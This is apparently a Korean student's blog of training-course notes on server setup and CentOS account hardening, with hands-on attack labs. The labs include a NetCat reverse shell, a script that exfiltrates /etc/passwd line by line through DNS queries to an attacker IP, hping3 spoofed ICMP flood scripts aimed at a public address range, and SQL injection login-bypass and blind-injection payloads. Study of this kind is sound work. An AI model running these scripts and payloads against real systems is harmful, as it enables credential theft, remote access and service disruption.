'부산정보산업진흥원'에 해당되는 글 20건

  1. 2017.08.06 CentOS, Windows2012 Server Teaming
  2. 2017.08.02 Docker 설치 및 사용
  3. 2017.08.01 Free NAS 설치 및 설정
  4. 2017.07.07 CentOS7 계정 취약점 관리
  5. 2017.07.06 Reverse Terminal
  6. 2017.07.06 은닉채널(Covert Channel)
  7. 2017.07.06 DoS(Denial of Service) - DrDoS
  8. 2017.06.07 SQL Injection
  9. 2017.06.07 구글 해킹(Google Hacking)
  10. 2017.06.07 웹 취약점 분석

[준비물]


VMWare, CentOS7 가상 이미지, Windows2012 Server 가상 이미지.


[목표]


 CentOS7과 Windos2012 서버에 teaming 서비스를 사용하여 두 개의 네트워크를 하나 묶고, 하나의 연결이 끊겨도 네트워크를 유지시킬 수 있다.


[절차]


<<CentOS Teaming>>


1. Teaming을 장치 추가 및 프로그램 설치


2. 네트워크 teaming


3. 네트워크 연결 해지 및 동작 여부 확인


<<Windows 2012R Server>>


1. Teaming 설정 및 동작 여부 확인




=============================================================

<<CentOS Teaming>>

1. Teaming을 장치 추가 및 환경설정

우선 teaming 설정을 위한 환경 설정을 해준다.

SELinux의 config 문서를 아래와 같이 수정해준다.

/etc/selinux/config -> SELINUX=permissive

Firewall 데몬 서비스도 중지한다.

# systemctl stop firewalld.service
# systemctl disable firewalld.service

VMWare에서 CentOS7를 구동 후 네트워크 장치를 2개 추가해준다.

1

네트워크 장치가 제대로 추가되었는지 아래의 명령어를 통해 확인한다.

# nmcli device


teamd 서비스가 설치되어 있는지 확인한다.

# rpm -qa | grep teamd

만약 설치가 되어 있지 않으면  teamd를 설치해준다.

# yum - y install teamd



2. 네트워크 teaming


Teaming을 통해 2개 이상의 네트워크를 하나로 합쳐준다. 아래의 명령어를 사용한다.

nmcli con add type team ifname team0 con-name cli-team ip4 192.168.100.10 gw4 192.168.100.254 config '{"runner": {"name":"broadcast"}}'

2개 이상의 네트워크를 teaming 설정에 연결시켜 준다.

nmcli con add type team-slave con-name cli-port1 ifname ens38 master team0

Teaming의 네트워크 설정을 해준다.

# nmcli con mod cli-team ipv4.addresses 192.168.101.10/24

# nmcli con mod cli-team ipv4.gateway '192.168.101.254'

nmcli con mod cli-team ipv4.addresses '192.168.101.10/24'

# nmcli con mod cli-team ipv4.dns '8.8.8.8'

그리고 teaming 네트워크를 구동시킨다.

nmcli con up cli-team



3. 네트워크 연결 해지 및 동작 여부 확인

2개 중에 하나의 네트워크를 끊은 상태에도 계속 통신이 가능한지 ping 을 통해서 확인해 본다.



<<Windows 2012R Server>>


1. Teaming 설정 및 동작 여부 확인

"서버관리자" 창 - "로컬 서버" - "NIC TEAM"으로 이동한다.


"네트워크 어댑터" - "가능 가능" 네트워크에서 2개 이상의 네트워크를 동시에 선택한 후, 오른쪽 마우스 버튼을 누른다.


"새 팀에 추가"를 선택한 후 구동시킨다.


Teaming을 동작 시킨 후에, 하나의 네트워크의 작동을 중지 시키고 ping을 통해 여전히 인터넷이 작동하는지 확인한다.


반응형

'부산정보산업진흥원 > 클라우드' 카테고리의 다른 글

Docker 설치 및 사용  (0) 2017.08.02
Free NAS 설치 및 설정  (0) 2017.08.01
Posted by newind2000

[준비물]

VMWare, CentOS7


[목적]

- Docker를 CentOS7에 사용하여 다른 OS(여기서는 redhat linux)를 사용한다.


[절차]

1. CentOS7에서 필요한 프로그램을 설치 및 설정을 한다.


2. Docker로 OS 다운로드 받아서 사용


1. CentOS7에서 필요한 프로그램을 설치 및 설정을 한다.


** 우선 update가 안되어 있으면 업데이트 먼저 수행한다.

#yum update

- selinux 설정 

selinux설정을 꺼준다.

#vi /etc/selinux/config

SELINUX=disable


- firewall 방화벽을 내린다.

#systemctl stop firewalld.service 

#systemctl mask firewalld.service 


- targetcli 설치

yum -y install targetcli


- tools 설치

yum -y install net-tools


- docker 설치

yum -y install docker



2. Docker로 OS 다운로드 받아서 사용


Docker를 다운 받고 나면 프로세스를 우선 실행시킨다.

#systemctl enable docker.service

#systemctl start docker.service


Docker를 사용하여 원하는 os의 이미지 목록을 살펴본다.

#docker search redhat



원하는 이미지를 선택하여 다운로드 받는다.


#docker pull docker.io/hjd48/redhat


다운 받은 docker의 이미지 목록을 살펴본다.ㅣ


#docker images



도커를 사용하여 이미지를 실행한다.
** docker run <이름> <옵션> <이미지 이름> <실행할 파일>

#docker run  --name rh -it docker.io/apiemont/redhat9 /bin/bash












반응형

'부산정보산업진흥원 > 클라우드' 카테고리의 다른 글

CentOS, Windows2012 Server Teaming  (0) 2017.08.06
Free NAS 설치 및 설정  (0) 2017.08.01
Posted by newind2000

[목표] 

VMWare에 Free NAS를 설치한 후 CentOS와 연결하여 디스크를 추가한다.

준비물: VMWare, Free NAS IOS파일, CentOS7 IOS파일


[절차]

1. VMWare에 Free NAS 설치

2. 웹툴(web tool)로 접속하여 스토리지를 설정한다.

3. CentOS에서 iSCSI Initiator 등록


1. VMWare에 Free NAS 설치

아래의 사이트로 접속하여 Free NAS IOS 파일을 다운로드 받는다. 그냥은 다운이 안되고 이름과 email주소를 내주어야 한다. 살을 주고 뼈를 깍는다.

http://www.freenas.org/download/ 


다운로드가 완료되면 VMWare 가상화머신에서 아래와 같이 설정 후 구동 시킨다.



- RAM 1GB

- NAS 스토리지로 사용할 하드 디스크 대충 2,3개 추가(입맛대로)

- 네트워크는 NAT

- CD-ROM에 다운 받은 FreeNAS를 올려준다.


** 주의


가상 머신을 올릴 때 operation system을 "Other Linux 3.x kernel"로 지정해준다.



가상 머신을 시작한다. 설치 창이 뜨면 다음의 순서대로 선택해준다.

FreeNas Installer -> Install/Upgrade -> 설치할 파티션 선택해 주고 "OK" -> 비밀번호 두번 입력 -> Boot via BIOS


** 설정 값에 대한 경고나 하드 디스크 포맷 같은 경고가 뜨면 알아서 처리하도록.


2. 웹툴(web tool)로 접속하여 스토리지를 설정한다.



설치를 하고 나면 아래와 같이 웹툴(web tool)로 접속할 수 있는 IP가 제공된다. 해당 IP에 접속하고 설정한 비밀번호와 ID를 입력한 후 접속한다.


우선 Volume Manager를 사용하여 알아서 사용할 볼륨용량을 지정해준다.


그 후 Add Volume을 클릭하여 볼륨을 만들어준다.


Storage - Volumes - /mnt/Test가 만들어진다. Change Permission을 클릭하고 아래와 같이 설정해준다.



"Service" 구역으로 내려가 iSCSI를 클릭한 후 "Block(iSCSI)" - "Portals" - "Add Portal"을 클릭.


아래와 같이 입력해 준다.



"Portal" 옆에 있는 "Initiator" - "Add Initiator" 아래와 같이 설정한다.



옆에 있는 "Extents" - "Add Extent" 아래와 같이 설정한다.



"Target" - "Add Target"



"Associated Targets" - "Add Target / Extent "



"Service"에서 "iSCSI"를 구동한다.


3. CentOS에서 iSCSI Initiator 등록


우선 iSCSI 서비스를 사용하기 위해 이를 설치해야 한다.

아래의 명령어를 사용하여 설치 여부를 확인한다.

rpm -qa | grep iscsi


없으면 설치하자.

yum -y install iscsi-initiator-utils


설치 후 아래의 명령어로 iSCSI가 CentOS에 연결되어 있는지 확인해 보자.

iscsiadm -m discovery -t st -p [Portal IP]:[PORT 번호] 

** 입력시 중괄호는 뺀다.

설정이 틀리지 않았다면 아래와 같이 뜰것이다.



아래의 명령어로 볼륨 추가 및 로그아웃을 한다.

볼륨추가

iscsiadm -m node -T iqn.2005-10.org.freenas.ctl:target1 -p [Portal IP]:[PORT 번호] -l

로그아웃

iscsiadm -m node -T iqn.2005-10.org.freenas.ctl:target1 -p [Portal IP]:[PORT 번호] -u


fdisk -l 명령어를 사용하여 추가된 볼륨을 확인해보자.






반응형

'부산정보산업진흥원 > 클라우드' 카테고리의 다른 글

CentOS, Windows2012 Server Teaming  (0) 2017.08.06
Docker 설치 및 사용  (0) 2017.08.02
Posted by newind2000

주요정보통신기반시설에 열거 되어 있는 취약점 분석 평가 항목을 바탕으로 CentOS7의 계정관리 부분에 대한 취약점 관리 가이드를 작성해 본다.



[root 계정 원격 접속 제한]

1. 설명

root계정은 시스템에 대한 전지전능한 계정을 가짐으로 외부에서 root 권한으로 접속하는 것을 차단해 주는것이 보안적인 입장에서 안전하다.

root계정의 외부 접속 차단은 여부는 다음과 같이 파악 가능하다.


2. 방법  

"/etc/pam.d/login" 파일에서 아래의 내용을 추가한다. 

"auth required /lib/security/pam_securetty.so"


 #cat /etc/securetty pts/0 ~ pts/x 관련 설정이 존재하지 않음

3. 스크립트

grep pts /etc/securetty > /dev/null 2>&1

if [ $? -eq 0 ] ; then

        echo "비정상"

else

        echo "정상"

fi



[패스워드 설정:

- 패스워드 복잡성 설정

- 패스워드 최소 길이 설정

- 패스워드 최대 사용기간 설정

-패스워드 최소 사용기간 설정

- 패스워드 임계값 설정]


1. 설명

단순하거나 유추가능한 비밀번호의 설정은 시스템 공격자에게 접속을 용이하게 한다. 따라서 비밀번호는 8자 이상의 복합된 문자와 기호로 설정하도록 만드는 것이 보안을 높이는 방법이다. 또한 비밀번호 입력 시도에 대한 제한이 없으면 한정된 경우의 수에 따라 언젠가는 비밀번호가 풀리게 된다. 이것을 방지하기 위해 비밀번호 시도 횟수에 대한 제한을 설정해야 한다.


2. 방법

CentOS의 비밀번호 복잡성 설정은 "/etc/login.defs" 파일에서 가능하다.


PASS_MAX_DAYS - 비밀번호를 사용할 수 있는 최대 기간

PASS_MIN_DAYS - 비밀번호를 변경 간 최소 기간(비밀번호 변경 후 다시 변경하려면 기다려야 하는 최소 기간)

PASS_MIN_LEN - 비밀번호 최소 길이

PASS_WARN_AGE - 비밀번호 변경 만료를 알리는 기간(5일을 설정하면, 비밀번호 만료 5일 전부터 알려준다)



- 최소 1년에 한번씩 비밀번호를 바꾸도록하고

- 한번 비밀번호를 변경하면 적어도 3일간은 변경하지 못하도록 하고

- 비밀번호의 최소 길이는 8자

- 비밀번호 만료를 알리는 기간을 30일


비밀번호의 복잡성은 "/etc/pam.d/system-auth" 파일에서 설정할 수 있다.

- 비밀번호에 대/소문자, 숫자, 기호를 다 사용하도록 설정


"ucredit=x" 대문자 x개 이상 사용

"lcredit=x" 소문자 x개 이상 사용

"dcredit=x" 숫자 x개 이상 사용

"ocredit=x" 기호 x개 이상 사용


password requisite pam_cracklib.so type= ucredit=1 lcredit=1 dcredit=1 ocredit=1


- 비밀번호 시도 3회

"try_first_pass retry = x" 비밀번호 접속 시도 x회 이상 틀렸을 시 차단


password requisite pam_cracklib.so try_first_pass retry=3

auth required pam_tally2.so deny=3
account required pam_tally2.so


- 과거 사용한 비밀번호 재사용 금지

password sufficient pam_unix.so sha512 shadow nullok try_first_pass use_authtok remember=x

x개까지 과거 사용한 비밀번호 기억하여 재사용지 금지



* 3번이상 틀리면 터미널창이 얼어버린다.


3. 스크립트

- 복잡성

복잡한 암호를 사용해야 한다.(문자(대문자/소문자), 숫자특수문자공백문자)

암호의 최소 길이는 8글자 이상으로 한다.

관리자의 정책 

(암호를 정기적으로 변경하도록 유도(/etc/login.defs, chage CMD) 

(암호를 사용자가 변경할수 없도록 설정(# chmod u-s /usr/bin/passwd)

# ls -l /usr/bin/passwd

-rwsr-xr-x 1 root root 23K Aug 11 2010 /usr/bin/passwd* (4755)

# chmod u-s /usr/bin/passwd

# ls -l /usr/bin/passwd

 

# telnet localhost

user01 사용자로 로그인

$ passwd

-> 자신의 암호를 변경할 수 있는가?

$ exit

# passwd user01

-> 관리자가 user01 사용자의 암호 변경이 가능한가?

# chmod 4755 /usr/bin/passwd

# ls -l /usr/bin/passwd



- 임계값

# cat /etc/pam.d/system-auth

auth required /lib/security/pam_tally.so deny=5 unlock_time=120 no_magic_root

account required /lib/security/pam_tally.so no_magic_root reset

 

no_magic_root   : root 사용자에게 패스워드 잠금 설정을 적용하지 않음

deny=5          : 5회 입력 실패시 패스워드 잠금

unlock_time     계정 잠김 후 마지막 계정 실패 시간부터 설정된 시간이 지나면 자동 계정

                         잠김 해제(단위 )

reset           접속 시도 성공 시 실패한 횟수 초기화


- 패스워드 최소 길이 설정

# NUM=`grep PASS_MIN_LEN /etc/login.defs | \

grep -v '^#' | \

grep '^PASS_MIN_LEN' | \

awk '{print $2}'`

# if [ $NUM -ge 8 ] ; then

        echo "OK"

else

        echo "WARN"

fi

- 패스워드 최대 사용기간 설정

# NUM=`grep PASS_MAX_DAYS /etc/login.defs | \

grep -v '^#' | \

grep '^PASS_MAX_DAYS' | \

awk '{print $2}'`

# if [ $NUM -le 90 ] ; then

        echo "OK"

else

        echo "WARN"

fi


- 패스워드 최소 사용기간 설정

# NUM=`grep PASS_MIN_DAYS /etc/login.defs | \

grep -v '^#' | \

grep '^PASS_MIN_DAYS' | \

awk '{print $2}'`

# if [ $NUM -ge 1 ] ; then

        echo "OK"

else

        echo "WARN"

fi


[패스워드 파일 보호]


1. 설명


패스워드가 저장되어 있는 파일이 공격자에 의해 혹은 사용자에 의해 외부로 노출될 수 있음으로 "/etc/shadow" 파일은 특정 권한이 있는 사용자들만 사용할 수 있도록 권한을 제한해야 한다.


2. 방법

"/etc/shadow" 파일의 존재를 확인하고, 



"/etc/passwd"의 두번째 필드가 "x"로 표시되는지 확인한다.



쉐도우 패스워드 정책을 적용하도록 설정한다.

"pwconv"

3. 스크립트

# [ -f /etc/passwd -a -f /etc/shadow ] && echo "OK" || echo "WARN"

 

or

 

if [ -f /etc/passwd -a -f /etc/shadow ] ; then

         echo "OK"

else

         echo "WARN"

fi


[root 이외의 UID가 '0' 금지]


1. 설명

UID=0 인 것은 시스템에서 root와 같은 권한을 가짐으로 root 이외에 UID가 0인것을 확인하여 제거해 주어야 한다.


2. 방법


"/etc/passwd" 로 가서 내용을 확인하고 세번째 필드의 값이 "0"인 경우 삭제한다.



하나 밖에 없음을 알 수 있다.


[root 계정 su 제한]


1. 설명

"su" 명령어를 사용하면 권한이 없는 일반 사용자도 root 권한을 획득할 수 있기 때문에 허용된 사용자에게만 "su" 명령어를 사용할 수 있도록 설정해주어야 한다.


2. 방법


"/etc/group" 파일에서 "wheel" 소속이 누구인지 확인하고, 원하지 않은 그룹이 있을 경우 삭제



허용 그룹만 su를 사용할 수 있는지 확인

"cat /etc/pam.d/su"




CentOS의 비밀번호 복잡성 설정은 "/etc/login.defs" 파일에서 가능하다.


PASS_MAX_DAYS - 비밀번호를 사용할 수 있는 최대 기간

PASS_MIN_DAYS - 비밀번호를 변경 간 최소 기간(비밀번호 변경 후 다시 변경하려면 기다려야 하는 최소 기간)

PASS_MIN_LEN - 비밀번호 최소 길이


3. 스크립트

# NUM=`awk -F: '{print $3}' /etc/passwd | sort -n | uniq -d | wc -l`

# if [ $NUM -gt 0 ] ; then

         echo "WARN"

else

         echo "OK"

fi

 

or

 

# grep -v '^root' /etc/passwd | awk -F: '$3 == 0 {print $1 " = 0"}'


 

root' /etc/passwd | awk -F: '$3 == 0 {print $1 " = 0"}'




[불필요한 계정 제거]

1. 설명

계정 목록에서 사용하지 않은 아이디는 공격자에 의해 비밀번호 추측 공격의 대상이 될 수 있음으로 사용하지 않거나 의심스러운 계정은 지속적으로 확인하고 삭제해 주어야 한다.


2. 방법

"etc/passwd"에서 미사용 계정 혹은 의심스러운 계정(lp, uucp,nuucp)을 확인하고 삭제해 준다.


[관리자 그룹에 최소한의 계정 포함]

1. 설명

시스템에 대한 전반적인 권한을 가진 관리자 계정은 그 수를 최소한으로 제한해야 한다. 


2. 방법

"/etc/group" 파일에서 관리자 권한이 불필요한 계정은 삭제한다.



[계정이 존재하지 않는 GID 금지]


1. 설명

구성원이 존재하지 않는 그룹이 존재하는 경우, 해당 그룹 소유의 파일이 공격자에게 노출될 가능성이 있음으로, 구성원이 존재하지 않는 그룹은 삭제해 주어야 한다.


2. 방법

"/etc/group" 파일 내에 계정이 없고 사용하지 않는 그룹은 삭제해 준다.


3. 스크립트

# awk -F: '{print $1}' /etc/passwd > input.txt

# awk -F: '{print $1}' /etc/group > input2.txt

# cat input.txt | while read SARAM

do

grep -w "$SARAM" input2.txt >/dev/null 2>&1

if [ $? -eq 0 ] ; then

echo "[ OK ] : $SARAM"

else

echo "[ WARN ] : $SARAM"

fi

done


[동일한 UID 금지]


1. 설명

UID는 시스템에서 사용자 정보를 대응시키는 역할을 하기 때문에, 중복된 UID가 존재할 경우 시스템에 문제가 발생할 수 있음은 물론 데이터 유출 시에도 감사 추적이 어렵게 된다. 때문에 중복된 UID가 있을 경우 이를 삭제해 주어야 한다.


2. 방법 

"etc/passwd" 파일에서 동일한 UID가 존재할 경우,

"usermod -u <변경할 UID값> <user_name>"을 사용하여 UID를 변경해 준다.


3. 스크립트

# cat /etc/passwd | awk -F: '{print $3}' > output.txt

# NUM=`cat output.txt | sort -n | uniq -d | wc -l`

# if [ $NUM -gt 0 ] ; then

echo "[ WARN ]"

else

echo "[ OK ]"

fi



[사용자 shell 점검]


1. 설명

로그인이 필요하지 않은 계정에 경우 공격자가 해당 계정으로 접근하여 시스템을 공격할 수 있음으로 로그인이 필요없는 계정인 경우 쉘(shell)을 부여하여 로그인을 금지한다.


2. 방법

"/etc/passwd"파일을 연 후, 로그인이 필요 없는 계정에 대해서는 로그인 쉘 부분에 "/bin/false" 혹은 "/bin/nologin"

 



[Session Timeout 설정]


1. 설명

계정 접속이 특정 시간동안 방치될 경우 연결을 끊어 공격자로부터의 시스템 접속을 방지한다.


2. 방법

"/etc/profile" 혹은 "/etc/.profile" 에서 "TIMEOUT"시간을 설정해 준다.




반응형

'부산정보산업진흥원 > 보안' 카테고리의 다른 글

Reverse Terminal  (0) 2017.07.06
은닉채널(Covert Channel)  (0) 2017.07.06
DoS(Denial of Service) - DrDoS  (0) 2017.07.06
Posted by newind2000

[Reverse Terminal의 개념]

Reverse Terminal은 보안설정을 우회하기 위해 사용한다. 보안체계가 구축되어진 네트워크를 뚫고 공격을 하기가 어려울 때, 공격 대상 시스템이 네트워크 보안 밖으로 나와서 공격자에게 터미널 접속을 허용하는 것을 일컫는다.


말이 소 같으니 집적 실습을 통해 알아보자.


[Reverse Terminal 실습]

준비: NetCat 프로그램, 2대의 시스템


실습은 간단하지만 처음에는 개념을 이해하기가 힘들다. 일단 해보자.


공격자 시스템에서 NetCat를 사용하여 특정 포트를 열고 응답이 오기를 기다린다.


희생자 시스템에서 NetCat을 사용하여 공격자 시스템의 IP와 공격자 시스템이 열어놓은 포트 번호를 입력해주고, -e 옵션을 사용하여 접속후 어떤 프로그램을 실행시켜 공격자에게 넘겨줄 것인지 설정한다.


접속이 이루어지면 명령어를 마구 입력하여 가지고 논다.


- 'ifconfig'의 출력 값을 보면 공격자가 피해자 시스템에 bash를 사용하여 명령어의 결과 값을 보고 있다는 사실을 알 수 있다.

* 공격자 IP: 192.168.100.133

  피해자 IP: 192.168.100.88


반응형

'부산정보산업진흥원 > 보안' 카테고리의 다른 글

CentOS7 계정 취약점 관리  (0) 2017.07.07
은닉채널(Covert Channel)  (0) 2017.07.06
DoS(Denial of Service) - DrDoS  (0) 2017.07.06
Posted by newind2000

[은닉채널(Covert Channel) 개념 설명] 

은닉채널(Covert Channel)은 데이터 전송 시 평소에 잘 사용하지 않는 공간에 공격 명령어 및 코드를 담아 전송하는 공격 방법이다.

ICMP, DNS, TCP에 ack등에 데이터를 넣어 전송할 수 있다.


설명이 실명 같으니 실습을 해보면서 개념을 잡아보자.


[은닉채널(Cover Channel) 실습]

준비: NetCat 프로그램, 2대의 Linux 시스템


공격 대상 컴퓨터에 있는 passwd 파일의 정보를 한줄씩 가져오는 공격을 할 것이다.

우선적으로 공격에 사용할 컴퓨터에 NetCat을 실행시켜 데이터를 받아오도록 대기 시킨다.

nc -lnp 53 -vv -u -k 



[CV.sh]

index=1
while [ ${index}  -le `cat /etc/passwd |wc -l` ]; 
do
	dig `cat /etc/passwd | sed $index\!d` @192.168.100.154
	index=$((index + 1))
done

- 'index' 라는 변수를 선언해주고 초기값을 담는다.

- while 문 안에 조건을 입력한다. '-le'는 '<='와 같은 의미이다.

- 'wc -l'는 문서안에 있는 줄의 개수를 반환한다.

- 'dig', 'sed' 명령어에 대한 후행학습 필요


피 같은 정보가 빠져 나가는 것을 볼 수 있다.

[공격자]

[희생자]



반응형

'부산정보산업진흥원 > 보안' 카테고리의 다른 글

CentOS7 계정 취약점 관리  (0) 2017.07.07
Reverse Terminal  (0) 2017.07.06
DoS(Denial of Service) - DrDoS  (0) 2017.07.06
Posted by newind2000

[Dos - DrDoS의 개념]

DoS(Denial of Service)는 서비스를 제공하는 서버에 트래픽 양을 증가시켜 서비스가 불가능한 상태로 만드는 것이다.
** 참조 - https://en.wikipedia.org/wiki/Denial-of-service_attack

DoS 공격 방법은 여러가지가 있지만 그 중에서 DrDos에 대해서 알아보자.


DrDos(Distributed Reflection Denial of Service)는 좀비를 사용하여 공격을 시도하는 DDoS(Distributed Denial of Service)와는 달리 공격자가 다른 시스템들의 정보를 도용하여 마치 다른 시스템들이 공격을 시도하는 것처럼 보이도록 유도하여 공격하는 기법이다.

말이 말밥 같으니 실제 공격을 진행하면서 통해 개념을 잡아보도록 하자.


[DrDoS 공격의 실제 feat. ping of death]

준비: VMWARE(Kali 2.0, Ping 공격이 가능한 공격 대상 PC)

수집한 시스템들의 IP정보를 활용하여 공격대상 시스템에 지속적으로 ping을 가할 것이다. 공격 받은 시스템은 자신이 요청하지 않은 ping에 대한 처리 때문에 메모리를 사용하여 시스템이 느려지게 될 것이다. 

공격의 절차는 아래와 같다.

1. 도용할 시스템들의 정보 수집(IP)

2. 공격 


1. 도용할 시스템들의 정보 수집(IP)

스트립트를 사용하여 사용가능한 ip주소를 수집하는 스크립트를 작성해 보자.

[test.sh]

index=65 while [ ${index} -le 255 ]; do echo "218.39.22.$index" hping3 -1 218.39.221.$index -c 1 sleep 3 index=$((index + 1)) done

- 'index'는 IP의 유동적인 부분을 값을 담을 변수

- while 문 안에 '-le'는 조건식 '>=' 을 나타낸다.

- do 아래줄은 while 문 중괄호 안에 있는 조건이 맞을때 수행되는 내용이다.

- 스크립트에서 변수를 표현할때는 '$'기호를 붙혀준다.

- while 문 수행이 끝나는 부분에 'done'을 입력한다.


위의 스크립트를 수행하여 출력되는 부분은 'text.txt'에 담아주고 에러가 발생하는 부분은 제거 하도록 아래의 명령어를 수행한다.

bash test.sh 1>test.txt 2> /dev/null


2. 공격


"test.txt" 파일 안에는 ping을 하고 난 결과 값이 다 들어있다. 우리가 필요한 것은 IP 값임으로 IP를 제외한 나머지 값들은 제거해 주어야 한다.


아래의 스크립트를 사용하여 IP주소만 따로 추출하고, 추출한 주소를 사용하여 ping을 날려 주자.

[DrDos.sh]

while :
do
	for i in `grep len test.txt | cut -d " " -f2 | sed 's/ip=//g'`
	do
	hping3 -1 -a 218.39.221.100  $i --faster -c 100
	done
	
done

- 'cut', 'sed' 명령어에 대한 후행 학습을 요한다.


공격을 받은 PC의 메모리 사용은 증가하고 심한 경우 시스템 사용자체가 힘들어진다.

반응형

'부산정보산업진흥원 > 보안' 카테고리의 다른 글

CentOS7 계정 취약점 관리  (0) 2017.07.07
Reverse Terminal  (0) 2017.07.06
은닉채널(Covert Channel)  (0) 2017.07.06
Posted by newind2000

[SQL Injection]

   웹에서 URL(Uniform Resource Locator) 또는 form에서의 SQL 요청 문을 활용하여 원하는 정보를 열람하는 것을 SQL Injection이라고 한다. SQL Injection을 사용하기 위해서는 기본적은 query문에 대한 이해가 필요하며, 웹 관리자가 설정해 놓은 SQL문을 파악하여 상황에 맞게 SQL Injection 공격을 해야 한다.  


   Form을 통해(ex: ID 혹은 패스워드 입력 form) SQL 문을 삽입하여 공격하는 form injection과 url에 SQL을 입력하는 URL injection으로 나눌 수 있다. SQL Injection 공격 시 일부로 오류를 유도하여 DB 구조에 대한 정보를 파악할 수 있는데, SQL 에러 메세지가 온전하게 나오는 경우 에러 부분을 수정함으로써 DB 자료 구조를 파악하는 Error Base SQL Injection과 에러메세지가 나오지 않는 경우 참과 거짓으로 DB 자료 구조를 파악하는 Blind SQL Injection 공격이 있다.

   웹 서버에 게시판을 구축 후, SQL Injection을 통해 가입 없이 로그인을 시도해 보자.



'아이디' 부분에 사용자가 입력한 정보를 SQL문을 활용하여 저장된 사용자 정보와 비교하는 SQL문을 사용할 것을 짐작할 수 있다. '아이디' form에 입력된 정보가 홑 따옴표(')로 감싸져 있을 것이라 예상하고 '아이디' 부분에 홑 따옴표를 먼저 입력해 주어 SQL 문에 전달한 값을 아래와 같이 SQL문 형식에 맞게 조작할 수 있다. 


ID = ' or 1=1 --


DB를 전달에 대한 요청을 하기 위해서는 첫째는 SQL문에 에러가 없어야 하고, 참과 거짓을 판변할 수 있는 구문으로 이루어 져야 한다. 조건 연산자 'or'을 사용한 후 그 후에 참의 값을 입력해 주면 그 구문은 참이 되게 된다. 그리고 뒤에 쿼리 부분에 대해서는 주석을 처리하는 '--'을 입력하여 뒤의 구문은 무효가 되도록 만들어주고 '확인'을 누르면 로그인이 가능해진다.



SQL문에 의도적으로 오류를 발생시킨 후 에러 메세지를 나타내어 DB구조를 파악하는 예를 살펴보자.

SQL문에서 'having'은 집계함수 'group by'를 사용한 후 특정 조건에 맞는 값만 추출하는 구문이다. 게시판 검색 form에 의도적으로 'having'을 삽입하여 에러를 발생시킨 후 에러를 하나씩 제거하면서 DB의 구조를 파악해 보자.



아래의 에러 메세지를 파악하여 어떤 SQL 서버를 사용하는지, 그리고 어떤 열의 이름을 파악할 수 있다.


위와 같이 친절하게 SQL 에러 코드가 제공되지 않는 경우에는 SQL 구문이 참 혹은 거짓임을 판단하여 DB의 구조를 파악하는 방법이 있다.

이미 특정 도메인에 회원가입을 한 상황이다. ID는 1111이고 비밀번호 또한 1111이다. 해당 웹에서 사용하는 db의 이름을 알고 싶다고 할 때, 문자 하나 하나를 일일히 입력하여 값과 거짓 값을 받아내면 시간은 걸리지만 원하는 정보를 알아낼 수 있다.

ID: 1111' and ASCII(SUBSTRING(CAST((SELECT LOWER(db_name(0))) AS varchar(20)),2,1))=ASCII('a')--

비밀번호: 1111



참이라면 로그인이 될 것이고 거짓이라면 위와 같은 메세지가 뜬다.

완전 노가다... 프로그래밍이 필요하다.





반응형

'부산정보산업진흥원 > 웹 해킹 기초' 카테고리의 다른 글

구글 해킹(Google Hacking)  (0) 2017.06.07
웹 취약점 분석  (0) 2017.06.07
Posted by newind2000

[구글 해킹(Google Hacking)]


구글(Google) 검색 엔진에서 다양한 검색 옵션을 활용하여 웹 관리자들이 의도적으로 노출하지 않은 자료들을 검색 및 열람 할 수 있다.  아래는 구글 해킹의 기초가 되는 Googledork 자료이다.


googledork.pdf


검색 옵션을 간단히 정리하면 아래와 같다.

검색 옵션

설명

예시

큰 따옴표(“)

반드시 포함될 단어/문장을 지정한다.

해당 단어나 문장이 반드시 포함된 사이트만 검색할 수 있다.

“BITEC”

마이너스(-)

제외할 검색어를 지정한다.

해당 검색어를 제외한 결과를 표시해준다.

대한민국-부산

물결(~)

유의어를 검색 한다.

검색어와 비슷한 의미를 가진 자료를 보여준다.

~저렴한 맛집

Define:

단어의 정의를 검색한다.

해당 검색어의 정의를 보여준다.

Define:컴퓨터

Intitle:

특정 단어를 반드시 포함한 제목을 검색한다.

해당 단어가 포함된 제목만 골라서 검색 결과를 보여준다.

Intitle:BITEC

(*)

불확실한 검색어를 입력할 때 사용한다.

빈 자리를 채워서 결과를 표시해준다.

아이슈타인*이론

마침표 2(..)

숫자의 범위를 지정한다.

검색할 숫자 사이에 마침표 2(..)를 입력하면 숫자 범위 내의 검색 결과를 보여준다.

2010..2012년 축구경기

OR

두 단어 중 아무거나 검색한다.

두 단어 중 하나라도 포함되어 있는 검색 결과를 표시한다.

갤럭시or아이폰

Site:

특정 사이트 이내에서만 검색한다.

해당 주소를 가진 사이트 내에서 해당 단어를 포함한 자료만 검색된다.

Site:Bitec.org 교육

Rel:

특정 사이트와 관계된 사이트를 검색한다.

Rel:Bitec.org

Link:

특정 사이트를 링크한 모든 사이트를 검색한다.

해당 사이트가 링크된 모든 사이트를 보여준다.

Link:Bitec.org

Filetype:

특정 종류의 파일만 검색한다.

찾고자 하는 것을 입력하고 끝에 ‘filetype:확장자명을 추가하면 해당 파일만 검색해준다.

경영학원론 filetype:doc


아래의 웹 페이지에서 Google hacking database에 대해 열람할 수 있다.

EXPLOIT DATABASE - https://www.exploit-db.com/google-hacking-database/


** 원하지 않은 정보가 구글 검색에 노출될 경우 국글측에 정보 삭제를 요청하는 것도 구글 해킹 보안의 방법 중 하나이다.

반응형

'부산정보산업진흥원 > 웹 해킹 기초' 카테고리의 다른 글

SQL Injection  (0) 2017.06.07
웹 취약점 분석  (0) 2017.06.07
Posted by newind2000

[웹 취약점 근거 제공 사이트]


미국 국토보안부에서 제공하는 소프트웨어 취약점 분석 자료이다. 무료이다.

CWE(Common Weakness Enumeration) - http://cwe.mitre.org/


취약점의 위험성에 대한 점수 체계 제공

CWSS(Common Weakness Scoring System) - http://cwe.mitre.org/swss/


발견된 보약 취약점에 대한 정보 제공

CVE(Common Vulnerabilities and Exposures) - http://cve.mitre.org/


웹 프로그래밍과 관련하여 발생하는 취약점을 정리한 자료 제공

OWASP TOP 10 - https://www.owasp.org/


[웹 페이지 8대 취약점]


1. 디렉토리 리스팅 취약점

홈페이지의 속성을 설정하는 “웹사이트 등록정보”에 특정 디렉토리에 대하여 
- IIS 웹 서버 : ‘디렉토리 검색’ 항목이 체크
- Apache 웹 서버 :  ‘httpd.conf 파일’에서 ‘Indexes’옵션이 on
되어 있는 경우에 인터넷 사용자에게 모든 디렉토리 및 파일 목록이 보여지게 되고, 파일의 열람 및 저장도 가능하게 되어 비공개 자료가 유출될 수 있다.


2. 파일 다운로드 취약점 
